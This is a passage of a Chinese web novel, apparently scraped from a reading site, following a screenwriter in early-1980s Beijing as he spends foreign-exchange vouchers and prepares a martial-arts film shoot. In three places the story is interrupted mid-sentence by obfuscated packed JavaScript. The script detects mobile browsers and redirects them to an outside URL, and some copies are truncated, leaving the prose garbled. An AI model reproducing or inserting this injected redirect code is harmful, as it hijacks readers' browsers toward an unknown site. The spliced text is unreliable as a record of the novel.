“小张,你去打电话吧。”他先把柜姐支走了,然后说道:“高编剧,把您单独请过来,我有个不情之请。” 哦,是提请求啊。 **戈壁的,吓得我还以为又反敌特了呢。 “您说。” “您找到了一条全新的挣外汇方式,我想请求您,能不能在我们行开个户头,将来再有外汇收入,直接从我们支行走。您放心啊,我行会给您提供最优质的服务,同时会全力确保您的资金安全。” “崔行长您等等,这些外汇,不都是要进国库的吗?贵行给我的不是等值的人民币吗?” “是啊,但是这些外汇从哪个行里进的国库,这说法可就多了去了。”崔杰挠着头,笑得很鸡贼。 高远明白了,崔行长是有上进心的,他并不满足于只在一个小小的支行里当一把手,人家还想往上走。 诶,单押上了。 他无所谓啊,只要能给自己提供优质的服务在哪家银行开户都行。 并且崔杰给他留下了不错的印象,这家伙肥嘟嘟的,看上去憨厚得很,其实并不是个迂腐的人。 跟这种人打交道,只需要提防着点儿他耍心眼儿,多给他点好处,找他办点事情还是不难的。 “我这边没问题,支持银行同志们的工作,也是我的荣幸。那个啥,崔行长,您看,能不能给我兑换一些侨汇券啊?”高远最关心这个了。 崔杰也是个敞亮人,他伸出三根手指头,说道:“最多三千,再多我真做不了主了。” 高远想了想,道:“三千足够用了。” 崔杰站了起来,笑容满面再次伸出手,道:“合作愉快!” 高远握住他肥厚的掌心,晃了晃,也道:“合作愉快!” 后面的流程就很简单了,柜姐小张给北影厂打过电话核实了高远的身份,爽快给他支付了6405元人民币,外加等额人民币3000块的侨汇券。 也就是9405元港币侨汇券。 又给他专门开了个存折,将6405元人民币存进去递给他,这就齐活了。 高远和崔杰约定好常联系,把手续、存着、侨汇券一股脑收进包里,告辞离开。 他有点小激动,也有一种迫不及待消费一把的冲动。 琢磨着反正上午也没啥安排,这货干脆蹬着自行车奔北师大而去。 北师大坐落在新街口外大街,属于内城。 高远一路火光带闪电,赶到北师大校门口也用了二十多分钟。 他被门卫拦住了,这时候,北大的校徽就起作用了。 这货一指胸前的校徽,对门卫老大爷说道:“我来做个学术交流。” 大爷摆摆手,不耐烦地说道:“进吧进吧。不就是北大的嘛,有什么可牛的?” 哼! 就这么牛! 你拦一个试试的。 高远心里吐着槽,脸上憋着笑,蹬上自行车轻车熟路地找到教育学系的教学楼。 又出示了学生证,登记过后,他迈步往楼上走,顺利找到姐姐上课的教室,扒着后门窗户往里面一看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449635|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐坐在第三排认真听讲。 高远推开后门,猫腰顺进去,在姐姐身边的空位上坐下,轻轻碰了碰她的胳膊肘。 高雅一扭头,轻呼道:“呀,你这个臭小子怎么跑我这儿来了?” 她另一侧坐着个女同学,好奇地打量着高远,先插了一句:“小雅,这是谁啊?你男朋友吗?” 高远点点头,道:“您看人真准!没错儿,我是高雅的男朋友,我叫……” “你叫个屁!林璐你别听他胡说,这是我弟弟,一个妈生的亲弟弟。”高雅先让高远闭了,接着对女同学说道。 这个叫林璐的女同学笑嘻嘻说道:“你弟弟长真好看。” 说到这点高雅还是很自豪的,我们老高家就没一个不好看的人儿。 她谦虚了一句:“也就是个一般人儿。” 然后又把目光对准了高远,压低了声音问道:“快说,你来干什么?” 高远心虚地看了看讲台上滔滔不绝的老师,飞快地说道:“找姐逃课来了,走啊,咱俩逛商场去啊。” “你发的哪门子疯?我这儿还上着课呢,跟你逛什么商场逛商场?”高雅有点儿怒,她对待学习特别认真。 高远嘿嘿一笑,把包打开让她看了看。 花花绿绿的侨汇券映入到高雅的眼帘,姑娘突然对学习失去了兴趣,咝地一声,语带激动对高远说道:“悄悄地进村,打枪地不要!” “不用请假吗?” “你摸进来的时候路线不是已经很熟了吗?” 高远了然,比画个OK的手势。 高雅跟林璐交代了几句。 姐弟俩一前一后猫腰从原路返回。 居然很顺利就出了教室。 坐在弟弟的自行车后座上,高雅这才问道:“远子,你从哪儿弄到的侨汇券啊?” 高远笑着说:“我给香港长城公司写了个本子,长城给的是港币,我从银行里兑换出来的。” 高雅晃荡着大长腿,笑靥如花道:“我弟越来越厉害了,你打算买点啥?” “给家里添台电视机呗,另外再给你和爸妈都买几件当季的衣服,还有就是,那啥……” “你别说,让我猜猜,你想给健群买礼物,姐妹猜错吧?” “知我者,姐姐也。你看健群今儿给咱们一家人织条围脖,明儿给家里买点蔬果的,我俩确定恋爱关系后,我还没给她买过一样像样的礼物呢,觉得有点过意不去。” 高雅点着头道:“是这么个理儿,没有让人家一姑娘白白付出的道理,显得我弟跟吃软饭的似的。对了,远子,你想给健群买点啥啊?” 高远苦笑道:“我要有主意,就不把你喊出来了。” “敢情你是让姐给你当参谋来了。” “昂。” “那姐可得好好琢磨琢磨了……健群是个服装设计师,如果能买到块好面料,我想她一定喜欢,从这个角度展开讲,送她一套画笔、颜料她也应该会很高兴的。 但是吧…… 后者她肯定不缺,女孩子又都是爱美的,况且健群那么好看,送这些俗物还不如买一套化妆品给她显得实惠呢。” 第151章 开拍之前 高远耳朵竖得像天线,听着姐姐的碎碎念,颇为认同地点点头。 他上辈子是没结婚,又不是没睡过女人,自然晓得姑娘们喜欢男人送她们些什么礼物。 姐姐说得有道理,送些俗物不如送点实惠。 当然,也可以送浪漫,但在这个年代可不兴那一套。 你要真敢送姑娘一束玫瑰花,就会被批判为:资产阶级思想严重,搞小布尔乔亚那一套! 拉出去**五分钟! 一路骑行,姐弟俩又回到了久违的新开路胡同附近。 胡同西往北走,有一家华侨商店。 高远把车子停稳锁好,姐弟俩想进去,被人拦住了。 “有侨汇券吗你就往里闯?”拦人的是个精壮汉子,看着像是商店保卫科的人。 高远打开兜,让他看了看,道:“没侨汇券我们来干嘛?过眼瘾啊。” 咝! 精壮汉子一探头,脸色跟便秘似的,道:“这么多!” “麻烦您让让吧。”高远说着,一拉姐姐的手腕,抹身从他身边进了去。 顺便狠狠鄙视他一句:瞧你那没见过世面的样子! 商店里琳琅满目,卖的都是外面见不到的好东西。 像什么速溶咖啡、午餐肉、克宁奶粉、凤尾鱼之类的。 还有西装套裙大皮鞋,美容养颜护肤膏。 当然不缺家用电器了。 随处可见金发闭着眼的傻老外瞎溜达。 姐弟俩随意逛着。 高远上辈子见过大世面,对这些商品提不起兴趣来。 高雅是头回来,见到这些市面上没有的稀罕物两眼放光。 高远出手跟个乡镇企业家似的,点了1000侨汇券给她,豪情万丈,道:“随便买。” 姐姐也不跟他客气,笑嘻嘻接过来,自个儿逛去了。 高远目标明确,直奔卖电视机的柜台,扫了眼,发现品牌还真不少,日立、松下、东芝、三星,大多是日韩产的。 国产的有熊猫、BJ和金星牌。 黑白和彩电俱全。 “同志您好,是要采购一台电视机吗?”售货员小姐姐的态度也比国营商店的正式工客气很多,她温婉笑着问高远。 “您好您好,是有这个意愿,我向您打听一下啊,您这里销量最好的彩电是哪个牌子的?”高远也笑容满面。 售货员长得不错,柳叶弯眉樱桃口,谁见了她都乐意瞅。 唯一不足之处是脸盘子稍显大了些,长得跟李秀明似的。 小姐姐也觉得高远好看,抿嘴一笑道:“卖得最好的品牌是日立十七寸彩色电视机,这款彩电价格还算适中,产品质量也不错,并且厂家还承诺三年质保。 您瞧,那些傻老外们大多数都选择这个品牌的彩电。” 高远顺着她挑眉梢的方向看过去,旁边一节柜台前面,一对老外夫妇已经在等待售货员开票了。 他一乐,道:“你们也不咋尊重外国人啊。” 这年头,所谓知识分子的普世价值观为:外国的月亮比中国圆,一等公民必须是洋人! 跟他娘又回到了晚清那会儿似的。 这不是开历史的倒车嘛。 但知识分子们就这个思潮,你拿他们一点办法都没有。 难得遇见个不把外国人当人看的姑娘,高远挺乐呵地靠在柜台上跟人家臭贫。 小姐姐也乐呵呵地,撇着嘴说:“都是大使馆的工作人员,一个个跟大傻帽儿似的,花钱如流水,根本不知道砍价为何物。 光顾着向姆们展示资本主义的优越性了,压根儿不清楚,姆们这里的商品,都是加价百分之十卖给他们的。 呀!我貌似说漏嘴了! 你这个臭小子,鬼精鬼精的!” 高远哈哈大笑,其实他也挺意外,没想到还真被自己套出了点儿大实话来。 “小姐姐,既然您跟我交了底儿,可不能再加价百分之十卖给我了,中国人不骗中国人,是这么个道理吧?”这孙子一挑眉,轻佻的说道。 小姐姐脸一红,呸了声,道:“就冲你这声姐姐,我也不能骗你不是。来一台日立十七寸?” “多少钱啊?” “你是哪种侨汇券?” “港币。” 小姐姐拿过计算器来噼里啪啦算汇率,然后说道:“折合3600侨汇券,没加价啊。” 高远也算了算,人民币1200元,他果断拿下。 在这个年代中,普通家庭里,存几年都不一定能存的下1200块钱。 这孙子跟后世晋西北的煤老板们组团进京买房一般,手一挥就包下了一个小区……不是,是拿下了一台彩电。 小姐姐抿嘴轻笑,给他开了票,又指给他付款台的方位。 高远问道:“负责送货吧?” “送去哪儿?郊区可不送。” “也不太郊,学院路30号院,钢铁学院的教师公寓楼。” “那倒没超出送货范围,成,你留个具体地址,我通知送货的师傅给你送家里去。” 高远冲她一抱拳,道:“得嘞,那谢谢您了。” 小姐姐一挥手,道:“去交钱吧,别忘了把盖了章的绿联拿回来。” 高远去了。 在付款台前点出3600块侨汇券,一大摞,高高的,连同三张收据一起递给也不知道是会计还是出纳。 那人接过去,又清点了一遍侨汇券,确认数额无误后拿起章来咔咔咔一键三连,将绿联和红联递还给他。 高远又回到柜台,把提货联交给美丽的小姐姐,红联自个儿留着。 小姐姐笑道:“得,回去等着吧。” 高远留下详细住址,冲小姐姐抛个媚眼儿,撩拨的小姐姐媚眼如丝、霞飞双颊,就差流哈喇子后,方才哈哈笑着去找自己亲姐姐。 高雅逛了一圈,收获不小,怀里抱着给老爸老妈买的衣服鞋子,还有各种吃的,巧克力、鱿鱼干、午餐肉罐头之类的。 高远一瞧,姐姐都快拎不动了,忙接过来一大批。 “小远,我瞧着那边柜台上有卖手表的,你不如给健群买块手表。”高雅建议道。 高远眼睛一亮,道:“好主意,走,过去䁖一眼。” 姐弟俩又奔卖手表的柜台,一看,嚯,全是大牌,百浪多、理查米尔、江诗丹顿、劳力士…… 高远很快看中了一只百达翡丽的女士款,小巧的造型,表盘里镶嵌着一圈闪闪发光的钻石,全钢表带,低调奢华有内涵。 价格也不算贵,折合人民币800出头儿。 要知道,在这个年代里,上海牌全钢手表都得花120元,还得有票才能买。 百达翡丽这种奢侈品,800出头真不贵。 高远豪气的像西哈努克一般,又把手表拿下了。 一趟商场逛下来,他只给自己买了两双运动鞋,也不是啥钩子、三叶草之类的名牌,而是个不知名的品牌。 他发现有,就买了两双,彻底把黑面红底的老布鞋给淘汰了。 采购一番后,姐弟俩出了商店。 高雅还恋恋不舍的,对高远说道:“下回还来。” 高远笑着点头道:“等我再挣到外汇,姐想啥时候来咱就啥时候来。” 东西被高远挂在了车把上,高雅怀里抱着一堆鞋盒子,笑嘻嘻说道:“我弟最疼我了。” “那是当然的,你是我姐,我亲姐,当弟弟的疼姐姐还不是应当应分的。” 高远心里始终有个结,上辈子亏欠姐姐太多了,这辈子必须狠狠弥补上。 高雅闻言,笑容更加明媚了,像极了春天里盛开的花。 一路骑行回到家。 姐弟俩刚进门就惊到了亲爱的老母亲。 “你俩这是去哪儿**了?这大兜小包袱的,哪个地主倒霉蛋被你们这俩活土匪抄了家了?”老妈走过来,忙从高雅手里接过来两个鞋盒子。 姐弟俩相视一笑。 高雅说道:“妈,我弟挣到外汇了,到学校找我,我俩逛华侨商店去了。” 张雪梅全然不知,闻言情绪瞬间高涨,目光灼灼望着好大儿,问道:“挣了多少啊?” 见老妈一脸财迷样,高远笑着伸出来三根手指头。 张雪梅一撇嘴,道:“我还以为多少钱呢,才三千港币就把你们俩嘚瑟成这个样儿了。” 显然老妈是懂汇率的。 高远清清嗓子,道:“是三万港币。” 咝! 张雪梅倒吸了一口高跃民,双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452640|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中精光爆闪,音带颤抖道:“三……三万?” “嗯,三万。” “那岂不是快一万人民币了?” “九千来块钱儿吧。” “哎呀,我家出万元户了呀。” 高远摸摸鼻子,老妈又戏精上身了,他说道:“逛了趟商店,我和姐姐就花了两千多,严格说来,还不算是万元户。” 张雪梅一听就急了,“你个败家孩子买啥了?花这么多钱!” “给家里买了台大彩电,又给健群买了块手表,光这两样就花了两千冒头儿。”高远赶紧交代。 张雪梅又乐了,“哎哟,你买电视机了呀,黑白的还是彩色的?哦,给健群买表也是个正经事,这钱花得值,健群是个有心的孩子,平日里没少给我和你爸做衣裳,给家里买东西。 你是得好好珍惜人家。” 高远被老妈说晕了,考虑了一会儿后才接上茬:“我晓得,这您不用操心。” “刚才问你,你买了台啥电视啊?” “日立牌17寸彩电。” 这时候,楼下响起了一个声音:“2单元301,高远,家里有人没?电视机送过来了。” 张雪梅把鞋盒子往沙发上一扔,边往外跑边喊道:“来了来了,家里有人,你们快上来吧。” 高远问姐姐道:“你猜咱妈干嘛去了?” 高雅叹声气,道:“还能干嘛去,显摆去了呗。过年那会儿咱妈就对刘叔家买了台电视机出了风头愤愤不平的,你这个当儿子的给她争面子了,她还不得可这劲儿显摆一回啊。” 高远一挑大拇指,称赞道:“姐姐通透。” 高雅叹声气,说:“倒也不是姐多通透,我听咱爸聊过一回,他说咱妈打年轻那会儿就心气儿高,不论是在工作上,还是在家庭上,都要跟人比个高低。 就算前些年形势不好,咱妈去乡下当赤脚医生,医治的病患都比同批次下去的医生们多多了。” 高远嗯了声,道:“老妈是这个性格。” 然后姐弟俩就听见楼道里响起一个清脆的声音。 “丽茹刚下班呢?哦,对,我们家也买了台电视机,彩色的,嗐,才17寸,值不了多少钱,晚上来我家看电视啊。” “赵老师你也好,这不是我儿子给香港那边写了个剧本嘛,挣了点外汇,就烧包的给家里添了个大件儿,对,日本货,叫啥日立牌。” “哎呀,他有什么才华啊,一肚子草包而已。” 姐弟俩面面相觑,异口同声:“咱妈不去演戏,屈才了!” 俩人哈哈大笑,眼见得送货师傅把电视机送进来,安装、调试,然后对高远说道:“你想要接受更多的台,得弄口锅啊,就是那种朝天锅,你明白吧?” 高远点点头,轻声道:“大哥,我明白,感谢提醒,回头我请大家吃饭。” 师傅笑道:“您客气了,回见吧。” ……………… 高雅给高远装了一兜子好吃的,让他拿回去给剧组的同志们分一分。 高远也是这个意思,收买人心嘛,必须要做的! 他干脆地接过来,蹬上车子回了北影厂。 厂子里,一号摄影棚,大家都在认真听讲。 因为高老师的临时翘课,下午第一节课由摄影师李晨声讲述电影拍摄过程中演员们与镜头的配合。 李晨声非常兴奋,因为他为了征求这部影片的拍摄资格,不惜跟老婆都闹翻了。 据说,李晨声很硬,明着告诉王好为:“你不让我拍,我就吊根绳栓脖子上**!” 王好为说:“你想一**之,门儿也没有!想拍这片,可以,你给我洗半月的衣裳做半月的饭!” 李晨声屈服了,按照王导的意愿,吭哧吭哧干了半月的活儿。 这事儿是葛优说的,可信度很高。 高远到的时候,李晨声刚结束课程,他大喊一声:“下课!” 大家一哄而散。 高远抓住一只李连杰,把包递给他,道:“给大家分一分。” 李连杰一看,顿时一脸哇塞,道:“哥,这真是给我们的?” “废话!” “好的,我这就去给大家分了尝尝。” 这货跑开了。 第152章 好姐姐无敌了! 高远拿来的东西不少,有巧克力、各种罐头、奶糖,剧组的诸位每人一小份,吃得欢乐开怀。 大家都对他竖起大拇指:仗义! 其实他是有私心的,别看这帮江湖人士这会儿都还稚嫩,调教调教,一个个都是好演员,将来用处可太多了。 他为人处世,讲究一个真心换真心,还有就是把事情做到前面,不能现上轿现扎耳朵眼儿。 这样,用到人家的时候才好开口。 你跟人家没有交情,有事相求想起对方来了,贸贸然开口,就很尬。 见大家吃得高兴,高远也开心。 他没着急给温柔大姐姐送礼物,这种事情哪能在大家眼皮子底下进行? 没外人在的时候,给她个惊喜才是最正确的打开方式。 王瑶老师来上课了。 今天要考校大家的演技。 她先把高远拉到一边交流了两句:“从这段时间的授课情况看,套人物模板这个方式效果还是不错的,你瞧于教练,手里揉着俩核桃,眉梢一挑,狡诈一笑,人物形象立刻竖起来了。 还有小李,你给他布置的作业是,顽皮的笑和憨厚的笑,前者对应谈恋爱的场景,后者对应练功出了差错,被师父训斥的剧情。 我听说这孩子很刻苦,每天都对着镜子练一个小时,待会儿咱们看看他训练的成果。” 高远笑着说好,又从兜里拿出一罐速溶咖啡来递给王瑶,道:“王妈,这是专门给您买的。” 王瑶接过来看了看,道:“你小子还真挣到外汇啦?” 高远点点头,道:“写了个武打小说,被长城公司看上了,卖下后给了笔辛苦费。” “你这孩子啊,不能把才华都用到写武打小说上去,你得写点思想深刻的东西。”王瑶语重心长道。 怎么都说这话啊? 高远知道老师是为了自己好,因为创作这类作品符合当前的主流思想,他笑着说:“不瞒您说,我正在创作一部讲述出国热潮的作品,思想未必有多深刻,但我觉得,一定会引起强烈的社会反响来。” 王瑶很感兴趣,对他道:“跟我说说故事情节。” 高远简单说了说。 王瑶微蹙着眉,道:“你怎么抓了这么个点?思想倒是很深刻,可是一旦拍出来,都不仅仅会引起社会反响了,搞不好又会引发一场大讨论活动,正面的,反面的,各种意见纷至沓来,你做好心理准备了吗?” “我做好了。”高远坚定地说道。 王瑶叹声气,拍拍他的肩膀,道:“既然你考虑周全了,老师也不劝你了。这罐咖啡老师收了,就当这些天给你帮忙,你支付给老师的酬劳吧。” “这是啥话啊,这分明是我孝敬您的。” “就你嘴甜,好了,别贫了。咱们干正事儿。” 见王瑶和高远上了讲台,大家很默契地聚拢过来,在各自座位上坐好。 培训进行到这会儿,人物基本上确定下来了。 先说正面人物。 李连杰饰演杨昱乾,于海饰演陈正英,王群饰演陈少杰,李健群饰演陈少琪,葛春燕饰演小桃,刘钊饰演荣王爷。 反面人物。 于承惠饰演端王爷。 高远给他配了一个专干脏活的铁杆打手,就是杜玉明饰演的秦至庸。 六大高手分别是:瑜伽术天才少女婆罗门——蔡明。 摔跤高手蒙古汉子他不愣,这个高远一直没找到合适的人,是李文化找了个真·蒙古汉子来饰演。 苗疆高手孟猛——熊欣欣。 少林宗师,酒僧释那摩——胡坚强。 日本忍术甲贺派传**桥未久——刘冬。 第六层那位擅长擒拿格斗的无名者自然给了**魁,小孙的擒拿术很棒的。 另外还有一帮群演,得临时找人。 高远跟李文化商量过这件事情。 导儿的意思是,从北电或者中戏找学生。 无他,唯便宜耳。 五毛钱管两顿饭他们就能玩命给你干一天。 别看剧组有100万,其实不禁花的,这还没开拍了,十多万就造进去了,必须得勤俭节约过日子,不是……拍电影。 高远表示同意,打算回头找个时间去两所高校转一转。 第一个被拎上台接受考核的是李连杰。 考试科目为憨厚的笑。 这货酝酿了一会儿情绪,突然望向于海那张严肃的面孔,一挠头,嘴角开始往上撇,笑容是舒缓地在脸上漾开的,如同石子投入池塘后泛起的涟漪,最后定格在唇角边不对称的小涡里。 咝! 高远倒吸了一口李健群,这小子,可以啊,演技提升得太快了。 上辈子总有人说,李连杰演技不行。 其实他演技很棒的,在功夫影星里,他和成龙都数一数二,甄子丹就很拉胯了,只是这种类型的片子,没给李连杰多少发挥的机会。 不仅高远为他感到高兴,王瑶看到他这个憨厚中带着几分不好意思的笑容,也笑着拍起了巴掌,称赞道:“小李进步了,并且进步很大,来,大家给他鼓鼓掌,你要继续努力。” 掌声响起来。 李连杰冲王瑶鞠个躬,恭敬又带点儿得意地说道:“我会的王教授,您放心。” 王瑶点点头,让他下去,逡巡一圈,说:“健群,你上来吧。” 李健群有点忐忑,慌忙起身走过去,道:“请教授出题。” 王瑶看着她俏丽的容颜,脸上挂着慈爱的笑,轻声细语道:“你虽然还算不上是个成熟演员,却也有拍片子的经验了,在座的各位中,也就刘钊老师和小蔡明比你经验丰富。” 刘钊老同志连说不敢当不敢当。 蔡明笑得像花儿一样。 李健群认真听着,等候王瑶的下文。 王瑶继续说道:“表情训练这一块儿就不考你了,念一段台词吧,我看看你的台词功底如何。” 李健群想了想,说道:“教授,我需要一个搭词的。” 李连杰又起身跑了上来,“我来我来,群姐,咱演哪段儿啊?” 李健群看他一眼,心说小屁孩儿积极性倒是挺高的。 经过这段时间的相处,大姐姐也逐渐摸清了这家伙的性格特点。 他是有点恃才傲物,仗着自己全国冠军的身份不把其他人放在眼里。 但是对比他能力强的,比如说高远之类的,他就会很服气。 李健群给他设计了几套衣服,把样式拿给他看过后,他服 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第一句,她语调上扬,重音落在“静”字上,而后望向李连杰的目光带上了三分柔情,语调也越来越轻柔、平和。 咝! 好姐姐无敌了。 啥叫老天爷追着喂饭吃? 看看好姐姐醇熟精炼的表演方式吧,这就叫老天爷追着喂饭吃。 高远对李健群的表演天赋佩服的五体投地,就差给她磕一个了。 李连杰跟个机械人似的,照着剧本念台词:“那我再来一遍吧。” 李健群:“腰要外松内挺!” 啪! 又是一颗虚拟小石子投过去。 “虚虚实实,虚实结合!” “身体放松,手腕抬高两寸。” “双肩下沉,如水负行舟,先实丹田气,次要顶头悬,全体弹簧力……你又错了。” 说着,李健群叹了声气,怒其不争地对李连杰摇着头,一副很惋惜的样子。 李连杰:“对不住啊,姐。” 王瑶瞪大了眼睛,一扯高远的袖子,低声道:“健群……表现得太棒了,无论是台词功底还是表情控制,都无可挑剔。” 高远苦笑道:“这也许就是艺术天赋吧。” 底下的人也都看呆了。 直到今天,大家才真正见识到了一名专业演员应该具备怎样的专业素养。 一秒入戏啊。 李健群的表现强大到让同志们自愧不如,也让他们感受到了巨大的压力。 故事片段演绎到此结束。 王瑶把两个人赶下台,板着脸对大家说道:“健群的表现各位都看见了吧。” 大家点着头。 “这就是一名专业演员应该具备的基本素养,台词功底扎实,表情控制得当,什么时候该哭,什么时候该笑,把控得非常精确。 反观小李,别说背了,一句词儿,念都念得磕磕巴巴,这就是不达标的。” 李连杰脸通红。 王瑶没继续为难他,又道:“今儿就到这里吧,我也不用再往下看了,打明儿起,全体演员正式进入到培训的最后一个阶段,集中阅读剧本,为期五天。 好,下课!” 第153章 袁和平驾到 大家一哄而散。 高远拉着李文化小声蛐蛐:“五天后,咱正式开机?” 李文化点头道:“这都三月底了,也该开机了,不然就错过了这大好的花红柳绿。但是,武指……” 高远边走边说道:“只能再让老厂长催催,来不来的起码给句痛快话,别老让我们傻等着。” 王瑶也跟了上来,听了两人的交谈后问道:“在国内找不到合适的武术指导吗?干嘛非邀请香港人?” 高远笑着解释道:“王妈您有所不知,武术指导这个行当,国内的发展确实不如香港繁荣,人家是一代一代传下来的,就说我们打算邀请的这位吧,他叫袁和平。 说袁和平您或许不清楚是哪位,但他爹袁小田您指定耳熟。” 王瑶乐了,“你说那个怪老头儿啊,那我熟,他是咱BJ人啊,自幼学武,擅长北派武术,36还是37年来着?**,他应粤剧红伶薛觉先的邀请赴港,在粤剧中负责北派武打方面的指导。 你说的这个袁和平,是怪老头儿的儿子?” 高远点头说是。 王瑶笑道:“我明白了,家传的武学,加上亲传的武指设计技巧,难怪内地无法与之相比啊。对了,从明天开始我一下午都会待在这里,跟大家伙儿一起捋剧本。” “那可太感谢您了,要不您屈尊在我们这部戏里挂个艺术指导的衔儿吧。”高远笑着邀请道。 “别蹬鼻子上脸啊,我能抽出空过来指导指导挺给你面子了,再提其他要求,你就过分了。”王瑶板着脸说道。 高远挽着王瑶的胳膊,笑嘻嘻说道:“好好好,我不给您添麻烦了还不成。” 王瑶屈指在他鼻子上刮了一下,一脸宠溺的笑容。 这让李文化禁不住感慨了一句:“都是当学生的,这学生和学生之间的差距咋这么大捏?” 高远和小老太太都乐得不行了。 李健群骑着高远的28大杠过来了,她停下后单腿撑着地,笑容满面道:“王教授,我送您回学校吧。” 她个子不矮的,官方数据是167厘米,本人还要略高一些,68、69的样子。 王瑶见她这副洒脱样,立马一乐,点头道:“行,今天我就坐坐群丫头的车。” 说着,她坐了上去。 李健群说道:“您坐稳了,搂住我的腰,咱们出发。” 王瑶环住她的腰,说道:“出发!” 有一说一,高远太羡慕老太太了,好姐姐的杨柳细腰自个儿都没摸过,老太太先上手了。 下次让姐姐带自己一回。 两人目送王瑶离开,转身进了主楼。 碰巧汪阳和孙文今二位领导从楼上走下来。 汪阳爽朗的大嗓门儿响了起来,“我和老孙正打算去找你俩呢,告诉你俩一个好消息,傅奇同志给回话了,袁和平和袁祥仁同意来京支援剧组。 哥儿俩明天就起程,先奔广州,再飞明珠,最后落地京城。 到了也得后天了。 他们谨慎,会在广州住一宿。” 高远乐了,“脱裤子放屁,多此一举。” 孙文今脸上的皱纹都荡开了,笑道:“就这德行呗,自认为掩人耳目,其实就是给自己一个心理安慰。” 高远一条大拇哥,道:“您老看得透彻,港英政府或是自由总会若真想掌握他们的动向,也就是多打几个电话的事情。” “臭小子,这话可不能乱说啊,他们还渗透不了那么深。”孙文今抓住高远的手腕眨眨眼。 高远秒懂,“瞧我这张嘴呀,一高兴就没了把门儿的,怪我怪我,您老息怒。” 见他懂了,老头子贼开心,道:“孺子可教也。” 搞定了袁家兄弟,高远悬着的一颗心总算落了地。 要不是武斌实在不符合他的要求,他也不会死磕袁和平。 袁和平最大的优点是,他适配性极高,也懂人情世故,导演怎么要求他就怎么设计,绝不会跟导演拧着来。 他后来跟内地合作过很多次,剧版的《太极宗师》,就是以他为武指,张鑫炎为导演拍摄制作出来的。 另外还有《水浒传》《功夫小子闯情关》等等。 琢磨到这儿,高远乐了,等电影逐渐散去辉煌,《太极宗师》就能改编成电视剧了。 这叫一鱼两吃。 如此又过了两天,高远心心念念的袁家兄弟鬼鬼祟祟出现在首都国际机场。 北影厂安排得很周到,派出制作人王彬带着车过来接人。 王彬看着眼前的二位,干巴瘦,长得一个比一个奇葩,两对眼珠子一对赛一对大。 当下也顾不得多说什么,各自简单介绍了一下,王彬把哥儿俩,还有长城公司陪同北上的一位工作人员一起请上了车。 车子疾驰在宽阔的马路上。 哥儿俩好奇得不要不要的,透过车窗东瞅瞅西瞧瞧,不时小声嘀咕两句。 副驾驶上的王彬听两人说着“这就是社会主义国家啊”“马路上车不多,但道路真宽阔”“没有几栋楼,首都也不繁华嘛”之类的话,笑着问道:“二位导演是第一次回京城来吧?” 袁和平点点头,谨慎地说道:“是的,王领导。” 他来之前是做了功课的,特地请教了傅奇,知道北影厂是正厅级单位,厂长汪阳的级别搁港岛,跟廉政公署的专员、警察署的署长齐平。 他问傅奇:“我到了后见到不认识的人,该称呼对方啊?比如说人家主动跟我打招呼。” 傅奇也挺哏儿,故意板着脸逗他道:“你见了穿四个兜的人主动跟你打招呼,一律称对方为领导就是了。” 袁和平像是找到了一把能打开任何锁的**,喜不自胜起来。 王彬也很乐呵,这个港岛同胞还挺懂规矩,知道称呼自己为“领导”。 他确实是个小领导,正科级干部。 要不然也轮不上他来当制作人。 王彬跟他闲聊起来:“袁导演太见外了,您喊我老王就成。我常听厂里的前辈们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见有点冷场,王彬继续说道:“对了,跟二位知会一声,厂里给二位导演安排的是专门接待港澳同胞的饭店,晚上在那里居住,白天去厂里工作,二位没问题吧?” 一听这话,袁和平把头摇成了拨浪鼓,急切地说道:“有问题有问题,不用另外安排住处了,太麻烦。我听傅奇先生说,贵厂有招待所的是吧?” 王彬点头道:“是有一家招待所,但条件……” 袁和平打断了他,道:“条件如何我们都OK,我们兄弟是来工作的,不是来旅游观光的,住招待所好,住招待所方便工作。” 袁祥仁也说道:“还有最重要的一点,王领导,我听说剧组的演员们都住在招待所是吧?” 见王彬点头,袁祥仁又说道:“那我们兄弟两个更得住招待所了,方便跟同事们随时沟通。” 二位这番高姿态、不见外,都把王彬整不会了,他心说,香港同胞对待工作都如此兢兢业业、勤勤恳恳的吗? 这哪是两位导演啊,这简直就是两头老黄牛。 王彬含糊了一句,“这个,我做不了主啊,等回到厂里后我向厂长汇报后再决定,好吧。” 袁家兄弟俩又忧心忡忡起来。 说话间,车子开进了厂。 停稳后,四人下了车。 王彬陪同三人进了主楼,敲开了汪阳办公室的房门。 第154章 别叫我同志啊 袁和平快速扫了一眼,只见办公桌后面坐着一老头儿,60出头的年纪,气势凛然、不怒自威。 他心说这位大概就是汪阳厂长了。 据说是个老**。 沙发上坐着两位,一位是相貌平平的中年人,一位是吊儿郎当的小青年。 那小青年坐姿舒展,靠着沙发背,岔着两条大长腿,似乎在晾晒着啥玩意儿。 他手里还捧着个搪瓷缸子吸溜着,一股浓郁的茉莉花香在空气中飘荡开来。 汪阳一抬头,见四人走了进来。 他不等王彬做介绍,率先起身,从办公桌后面踱步走出来,笑着说道:“是袁和平先生和袁祥仁先生吧?” 